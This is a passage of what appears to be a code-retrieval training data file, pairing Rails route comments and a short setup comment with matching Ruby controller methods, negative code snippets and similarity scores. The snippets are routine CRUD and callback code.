data, status_code, headers\n end",
"def patch\n end",
"def update\n respond_to do |format|\n if @testimonio.update(testimonio_params)\n format.html { redirect_to @testimonio, notice: 'Testimonio was successfully updated.' }\n format.json { render :show, status: :ok, location: @testimonio }\n else\n format.html { render :edit }\n format.json { render json: @testimonio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @misc.update(misc_params)\n format.html { redirect_to @misc, notice: 'Misc was successfully updated.' }\n format.json { render :show, status: :ok, location: @misc }\n else\n format.html { render :edit }\n format.json { render json: @misc.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @microposst = Microposst.find(params[:id])\n\n respond_to do |format|\n if @microposst.update_attributes(params[:microposst])\n format.html { redirect_to @microposst, notice: 'Microposst was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @microposst.errors, status: :unprocessable_entity }\n end\n end\n end",
"def flag_xms_system_to_be_normal \n put(\"/globalsettings.json/xms/normal\")\nend"
] |
[
"0.6950538",
"0.6186512",
"0.5912196",
"0.5759126",
"0.57323134",
"0.56698924",
"0.5642399",
"0.5625147",
"0.5555262",
"0.5549455",
"0.5546836",
"0.55107045",
"0.5506319",
"0.54964685",
"0.54658",
"0.5457902",
"0.54573303",
"0.5448029",
"0.54310054",
"0.5422654",
"0.54156387",
"0.53836983",
"0.5383169",
"0.53800184",
"0.5373133",
"0.5362511",
"0.53606224",
"0.5356855",
"0.5348767",
"0.5347642",
"0.5344226",
"0.53440976",
"0.5344004",
"0.53291523",
"0.5310524",
"0.5300959",
"0.52959526",
"0.529252",
"0.5289815",
"0.5278125",
"0.52776515",
"0.52752423",
"0.52751344",
"0.5267224",
"0.5264063",
"0.5261447",
"0.526067",
"0.52601916",
"0.52597034",
"0.52564514",
"0.5253468",
"0.5252611",
"0.52444685",
"0.52442145",
"0.5239977",
"0.52382743",
"0.5233699",
"0.5231718",
"0.52288085",
"0.5228651",
"0.52281404",
"0.52272326",
"0.52260554",
"0.5221115",
"0.52199125",
"0.5213151",
"0.52090573",
"0.5206654",
"0.52062225",
"0.5205059",
"0.5204768",
"0.5203726",
"0.5199539",
"0.5199395",
"0.51982564",
"0.5197691",
"0.5197322",
"0.5189912",
"0.5188956",
"0.51882225",
"0.51861894",
"0.5185801",
"0.51824844",
"0.5180491",
"0.5172743",
"0.5171206",
"0.51707625",
"0.5170574",
"0.5168293",
"0.5168109",
"0.51678133",
"0.51659155",
"0.5165188",
"0.5164188",
"0.51621205",
"0.51616496",
"0.51595145",
"0.51582044",
"0.5151829",
"0.5146781"
] |
0.68079054
|
1
|
DELETE /generic_monographs/1 DELETE /generic_monographs/1.json
|
def destroy
@generic_monograph.destroy
respond_to do |format|
format.html { redirect_to generic_monographs_url, notice: 'Combination dose was successfully destroyed.' }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @dis_generic_monograph.destroy\n respond_to do |format|\n format.html { redirect_to dis_generic_monographs_url, notice: 'Dis generic monograph was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mystic.destroy\n respond_to do |format|\n format.html { redirect_to mystics_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cephalopod.destroy\n respond_to do |format|\n format.html { redirect_to cephalopods_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @generic.destroy\n respond_to do |format|\n format.html { redirect_to generics_url, notice: 'Generic was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @monit = Monit.find(params[:id])\n @monit.destroy\n\n respond_to do |format|\n format.html { redirect_to monits_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @gommi.destroy\n respond_to do |format|\n format.html { redirect_to gommis_url, notice: 'Gommi was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @momsg = Momsg.find(params[:id])\n @momsg.destroy\n\n respond_to do |format|\n format.html { redirect_to momsgs_url }\n format.json { head :ok }\n end\n end",
"def destroy\n id = params[:id]\n @physical_rack = PhysicalRack.any_of({_id: id}, {name: id.gsub('-', '.')}).first\n @physical_rack.destroy\n\n respond_to do |format|\n format.html { redirect_to physical_racks_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @aggregate_metadatum = AggregateMetadatum.find(params[:id])\n @aggregate_metadatum.destroy\n\n respond_to do |format|\n format.html { redirect_to aggregate_metadata_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @gastronomium.destroy\n respond_to do |format|\n format.html { redirect_to gastronomia_url, notice: 'Gastronomium was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pharmaceutical_master.destroy\n respond_to do |format|\n format.html { redirect_to pharmaceutical_masters_url, notice: DELETE_NOTICE }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @micropot.destroy\n respond_to do |format|\n format.html { redirect_to micropots_url, notice: 'Micropot was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end",
"def destroy\n @nodo.destroy\n respond_to do |format|\n format.html { redirect_to nodos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @gymnasium = Gymnasium.find(params[:id])\n @gymnasium.destroy\n\n respond_to do |format|\n format.html { redirect_to gymnasia_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @monument.destroy\n respond_to do |format|\n format.html { redirect_to monuments_url, notice: 'Monument was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @gasto = Gasto.find(params[:id])\n @gasto.destroy\n\n respond_to do |format|\n format.html { redirect_to gastos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @photograph.destroy\n respond_to do |format|\n format.html { redirect_to photographs_url, notice: 'Photograph was successfully destroyed.', class: 'center-align' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @osm.destroy\n respond_to do |format|\n format.html { redirect_to osms_url, notice: 'Osm was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @testmonial.destroy\n\n head :no_content\n end",
"def destroy\n @medical.destroy\n respond_to do |format|\n format.html { redirect_to vigs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @moonwalk.destroy\n respond_to do |format|\n format.html { redirect_to moonwalks_url }\n format.json { head :no_content }\n end\n end",
"def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end",
"def destroy\n @stat_misc = StatMisc.find(params[:id])\n @stat_misc.destroy\n\n respond_to do |format|\n format.html { redirect_to stat_miscs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tatoo.destroy\n respond_to do |format|\n format.html { head :no_content }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dis_routed_generic.destroy\n respond_to do |format|\n format.html { redirect_to dis_routed_generics_url, notice: 'Dis routed generic was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @status_animal = StatusAnimal.find(params[:id])\n @status_animal.destroy\n\n respond_to do |format|\n format.html { redirect_to status_animais_url }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @sivic_ministerio.destroy\r\n respond_to do |format|\r\n format.html { redirect_to sivic_ministerios_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @apologetic.destroy\n respond_to do |format|\n format.html { redirect_to apologetics_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @go_slim = GoSlim.find(params[:id])\n @go_slim.destroy\n\n respond_to do |format|\n format.html { redirect_to go_slims_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @recreation_service_typology.destroy\n respond_to do |format|\n format.html { redirect_to recreation_service_typologies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @photoid = Photoid.find(params[:id])\n @photoid.destroy\n\n respond_to do |format|\n format.html { redirect_to photoids_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @datoscontacto = Datoscontacto.find(params[:id])\n @datoscontacto.destroy\n\n respond_to do |format|\n format.html { redirect_to datoscontactos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mobs_nano = MobsNano.find(params[:id])\n @mobs_nano.destroy\n\n respond_to do |format|\n format.html { redirect_to mobs_nanos_url }\n format.xml { head :ok }\n end\n end",
"def destroy\n @platoon.destroy\n respond_to do |format|\n format.html { redirect_to platoons_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mob.destroy\n respond_to do |format|\n format.html { redirect_to mobs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @astronomium.destroy\n respond_to do |format|\n format.html { redirect_to astronomia_url, notice: 'Astronomium was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lob.destroy\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @micrrapost = Micrrapost.find(params[:id])\n @micrrapost.destroy\n\n respond_to do |format|\n format.html { redirect_to micrraposts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n animal = Animal.find(params[:id])\n animal.destroy\n head 204\n end",
"def destroy\n @metum = Metum.find(params[:id])\n @metum.destroy\n\n respond_to do |format|\n format.html { redirect_to meta_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @monel = Monel.find(params[:id])\n @monel.destroy\n\n respond_to do |format|\n format.html { redirect_to monels_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @mou.destroy\n respond_to do |format|\n format.html { redirect_to mous_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @chronicle.destroy\n respond_to do |format|\n format.html { redirect_to chronicles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @gios_measurment.destroy\n respond_to do |format|\n format.html { redirect_to gios_measurments_url, notice: 'Gios measurment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @generic.destroy\n respond_to do |format|\n format.html { redirect_to generics_url, notice: 'Combination dose was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ministerio = Ministerio.find(params[:id])\n @ministerio.destroy\n\n respond_to do |format|\n format.html { redirect_to ministerios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @miccropost = Miccropost.find(params[:id])\n @miccropost.destroy\n\n respond_to do |format|\n format.html { redirect_to miccroposts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @hot_master.destroy\n respond_to do |format|\n format.html { redirect_to hot_masters_url, notice: DELETE_NOTICE }\n format.json { head :no_content }\n end\n end",
"def destroy\n @animal = Animal.find(params[:id])\n @animal.destroy\n\n respond_to do |format|\n format.html { redirect_to zoo_animals_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @medium_road = MediumRoad.find(params[:id])\n @medium_road.destroy\n\n respond_to do |format|\n format.html { redirect_to medium_roads_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n streak, success = jsonapi_destroy.to_a\n\n if success\n render json: { meta: {} }\n else\n render_errors_for(streak)\n end\n end",
"def destroy\n @human = Human.find(params[:id])\n @human.destroy\n\n respond_to do |format|\n format.html { redirect_to humen_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @historial_odt = HistorialOdt.find(params[:id])\n @historial_odt.destroy\n\n respond_to do |format|\n format.html { redirect_to historial_odts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ontology.destroy\n respond_to do |format|\n format.html { redirect_to ontologies_url, notice: 'Ontology was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @magictown.destroy\n respond_to do |format|\n format.html { redirect_to magictowns_url, notice: 'Magictown was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @human = Human.find(params[:id])\n @human.destroy\n\n respond_to do |format|\n format.html { redirect_to humans_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @medio = Medio.find(params[:id])\n @medio.destroy\n\n respond_to do |format|\n format.html { redirect_to medios_url }\n format.json { head :no_content }\n end\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def destroy\n @monnaie = Monnaie.find(params[:id])\n @monnaie.destroy\n\n respond_to do |format|\n format.html { redirect_to monnaies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @gizmo.destroy\n respond_to do |format|\n format.html { redirect_to root_url, notice: 'Gizmo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mini_map_road = MiniMapRoad.find(params[:id])\n @mini_map_road.destroy\n\n respond_to do |format|\n format.html { redirect_to mini_map_roads_url }\n format.json { head :no_content }\n end\n end",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def destroy\n @gomi.destroy\n respond_to do |format|\n format.html { redirect_to gomis_url, notice: 'Gomi was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @hydraulic_system = HydraulicSystem.find(params[:id])\n @hydraulic_system.destroy\n\n respond_to do |format|\n format.html { redirect_to hydraulic_systems_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @musictrack.destroy\n respond_to do |format|\n format.html { redirect_to musictracks_url, notice: 'Musictrack was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @micropst.destroy\n respond_to do |format|\n format.html { redirect_to micropsts_url, notice: \"Micropst was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"def delete\n render json: Alien.delete(params[\"id\"])\n end",
"def destroy\n @test_meta_datum.destroy\n respond_to do |format|\n format.html { redirect_to test_meta_data_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @massive_load = MassiveLoad.find(params[:id])\n @massive_load.destroy\n\n respond_to do |format|\n format.html { redirect_to massive_loads_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @m1.destroy\n respond_to do |format|\n format.html { redirect_to m1s_url, notice: 'M1 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @misc.destroy\n respond_to do |format|\n format.html { redirect_to miscs_url, notice: 'Misc was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test_metum.destroy\n respond_to do |format|\n format.html { redirect_to test_meta_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @alumno.destroy\n respond_to do |format|\n format.html { redirect_to grupos_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @server = Server.find(params[:id])\n checkaccountobject(\"servers\",@server)\n @server.send_delete\n respond_to do |format|\n format.html { redirect_to servers_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @major.destroy\n respond_to do |format|\n format.html { redirect_to majors_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @observ.destroy\n respond_to do |format|\n format.html { redirect_to observs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @musica.audios.purge\n @musica.destroy\n respond_to do |format|\n format.html { redirect_to musicas_url, notice: 'Álbum apagado com sucesso!' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @metum.destroy\n respond_to do |format|\n format.html { redirect_to meta_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @magzine = Magzine.find(params[:id])\n @magzine.destroy\n\n respond_to do |format|\n format.html { redirect_to magzines_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @kota_stone.destroy\n respond_to do |format|\n format.html { redirect_to kota_stones_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @server1 = Server1.find(params[:id])\n @server1.destroy\n\n respond_to do |format|\n format.html { redirect_to server1s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @genotype = Genotype.find(params[:id])\n @genotype.destroy\n\n respond_to do |format|\n format.html { redirect_to genotypes_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @malarium.destroy\n respond_to do |format|\n format.html { redirect_to malaria_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mensagem = Mensagem.find(params[:id])\n api_client.delete_object(@mensagem.post_id)\n @mensagem.destroy\n\n respond_to do |format|\n format.xml { head :ok }\n format.js { head :ok }\n end\n end",
"def destroy\n @physic = Physic.find(params[:id])\n @physic.destroy\n\n respond_to do |format|\n format.html { redirect_to physics_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @precious_metal = PreciousMetal.find(params[:id])\n @precious_metal.destroy\n\n respond_to do |format|\n format.html { redirect_to precious_metals_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @moon.destroy\n respond_to do |format|\n format.html { redirect_to moons_url, notice: 'Moon was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @testimonio.destroy\n respond_to do |format|\n format.html { redirect_to testimonios_url, notice: 'Testimonio was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mision = Mision.find(params[:id])\n @mision.destroy\n\n respond_to do |format|\n format.html { redirect_to misions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @water_system_typology.destroy\n respond_to do |format|\n format.html { redirect_to water_system_typologies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @custom.destroy\n respond_to do |format|\n format.html { redirect_to customs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @server = Server.find(params[:server_id])\n @httping_log = @server.httping_logs.find(params[:id])\n @httping_log.destroy\n\n respond_to do |format|\n format.html { redirect_to servers_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @agronomiaquimica = Agronomiaquimica.find(params[:id])\n @agronomiaquimica.destroy\n\n respond_to do |format|\n format.html { redirect_to agronomiaquimicas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @serv = Serv.find(params[:id])\n if @serv.mngbl\n #Remueve el MR a través de una llamada al webservice del núcleo\n http = Net::HTTP.new(\"192.168.119.163\",9999)\n post_params = {'ip' => @serv.conn.ip, 'port' => @serv.conn.port}\n request = Net::HTTP::Delete.new(\"/mbs/#{@serv.domain}/#{@serv.name}\")\n request.set_form_data(post_params)\n begin\n response = http.request(request)\n rescue Errno::ECONNREFUSED\n end\n end\n @serv.destroy\n\n respond_to do |format|\n format.html { redirect_to servs_url, notice: t('servs.delete.notice') }\n format.json { head :no_content }\n end\n end"
] |
[
"0.7748482",
"0.6723113",
"0.6656479",
"0.66391724",
"0.6604661",
"0.6599597",
"0.65903807",
"0.65793365",
"0.6562374",
"0.65418124",
"0.65210265",
"0.64999",
"0.6478176",
"0.646106",
"0.6444571",
"0.64402825",
"0.64353585",
"0.64325583",
"0.64264965",
"0.6423313",
"0.6421916",
"0.64173305",
"0.64170057",
"0.641697",
"0.64151114",
"0.64126223",
"0.6405288",
"0.6403998",
"0.64003116",
"0.6390361",
"0.6385232",
"0.6383939",
"0.63707405",
"0.6366781",
"0.6354801",
"0.6354235",
"0.6347045",
"0.6345566",
"0.6340616",
"0.63374484",
"0.63368714",
"0.6333002",
"0.6327481",
"0.63236123",
"0.632177",
"0.6317663",
"0.6317356",
"0.63138473",
"0.63136417",
"0.63042897",
"0.6300796",
"0.62995",
"0.6281218",
"0.62789625",
"0.62784743",
"0.627794",
"0.6275398",
"0.627454",
"0.62738746",
"0.6273173",
"0.6273173",
"0.6273173",
"0.6273173",
"0.6272748",
"0.6271513",
"0.627134",
"0.6267672",
"0.6267203",
"0.6265522",
"0.62648594",
"0.6264384",
"0.62639415",
"0.62619174",
"0.62591916",
"0.6258281",
"0.6256944",
"0.6256497",
"0.625297",
"0.6252911",
"0.6251082",
"0.6250892",
"0.6249199",
"0.6248172",
"0.6246688",
"0.62464046",
"0.6244206",
"0.62430894",
"0.6242473",
"0.62405574",
"0.6239352",
"0.6238199",
"0.62341404",
"0.6231682",
"0.6230695",
"0.62306374",
"0.6230149",
"0.62299925",
"0.62254614",
"0.6223452",
"0.6221752"
] |
0.7340774
|
1
|
Use callbacks to share common setup or constraints between actions.
|
def set_generic_monograph
@generic_monograph = DisGenericMonograph.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
